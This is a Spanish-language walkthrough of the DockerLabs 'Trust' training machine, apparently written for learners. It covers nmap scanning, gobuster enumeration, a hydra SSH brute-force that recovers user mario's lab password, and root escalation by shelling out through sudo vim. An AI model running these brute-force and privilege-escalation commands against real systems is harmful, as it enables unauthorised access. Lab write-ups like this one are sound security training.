> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/trust.md).

# Trust

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Trust** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Una vez descargado el archivo `trust.zip`, procedemos a descomprimirlo utilizando la herramienta `7z`, utilizando el siguiente comando:

```bash
7z x trust.zip
```

<figure><img src="/files/ZNVEr0lVm75fX9dLuRy5" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Utilizamos el script proporcionado (`auto_deploy.sh`) para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh trust.tar
```

Al finalizar la ejecución del script, se nos proporciona la dirección IP de la máquina (`172.18.0.2`), que utilizaremos para todas las interacciones posteriores.

<figure><img src="/files/RXeyhQ8hlBJPdwW8l6cl" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Comprobación de Conectividad:**

Verificamos si la máquina es alcanzable mediante un `ping`:

```bash
ping -c 1 172.18.0.2
```

El resultado muestra un **TTL** de **64**, lo cual es indicativo de un sistema operativo **Linux**, ya que por defecto, utiliza este valor.

<figure><img src="/files/c2uHhhonBIcgBl4EnyTx" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido de puertos abiertos con `nmap`:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/5l3KRXN2kobmkbwlguFR" alt=""><figcaption></figcaption></figure>

Analizamos los puertos abiertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.18.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.57.

<figure><img src="/files/wCHBtchz445k97wcd0cP" alt=""><figcaption></figcaption></figure>

**3. Análisis Web:**

Al acceder mediante el navegador a `http://172.18.0.2`, visualizamos la página por defecto del servidor de Apache, sin contenido relevante a simple vista.

<figure><img src="/files/Fg9k7ACM6Pm9ebQR1jYf" alt=""><figcaption></figcaption></figure>

**4. Enumeración de Recursos Web:**

Utilizamos `gobuster` para descubrir directorios y archivos ocultos:

```bash
gobuster dir -u http://172.18.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php
```

<figure><img src="/files/GGpvsQz5BuYJjvpz2hyB" alt=""><figcaption></figcaption></figure>

> **Recuerda:** La opción `-x .php` permite buscar archivos con extensión PHP, que suelen estar presentes en aplicaciones dinámicas.

Entre los resultados, encontramos un archivo llamado `secret.php`.

***

#### **Explotación:**

**1. Descubrimiento de un Usuario:**

Al visitar `http://172.18.0.2/secret.php`, encontramos un posible nombre de usuario `mario`.

<figure><img src="/files/HNZpShewDNMHdWaeWAn2" alt=""><figcaption></figcaption></figure>

**2. Fuerza Bruta sobre SSH:**

Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH, intentando descubrir la contraseña del usuario `mario`:

```bash
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.18.0.2 ssh
```

**Resultado:** La contraseña del usuario `mario` es `chocolate`.

<figure><img src="/files/uFRTGuZH9PXLruQvVHwZ" alt=""><figcaption></figcaption></figure>

**3. Acceso SSH:**

Nos conectamos al sistema por SSH:

```bash
ssh mario@172.18.0.2
```

<figure><img src="/files/VUaUIc1aHULe2hfs6VfF" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Comprobación de Permisos:**

Verificamos los permisos que el usuario `mario` puede ejecutar con privilegios elevados:

```bash
sudo -l
```

**Resultado:** El usuario `mario` puede ejecutar `vim` como `root` sin proporcionar contraseña:

```bash
(ALL) /usr/bin/vim
```

<figure><img src="/files/XGIcZE1dsQ7cYib6HvS8" alt=""><figcaption></figcaption></figure>

**2. Escalada mediante `vim` :**

Consultamos el recurso [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) para identificar métodos de abuso de este binario:

```bash
sudo vim -c ':!/bin/sh'
```

**Resultado:** Obtenemos una shell con privilegios de `root`.

<figure><img src="/files/Z0koOGwho2Hx1SwLSXvJ" alt=""><figcaption></figcaption></figure>
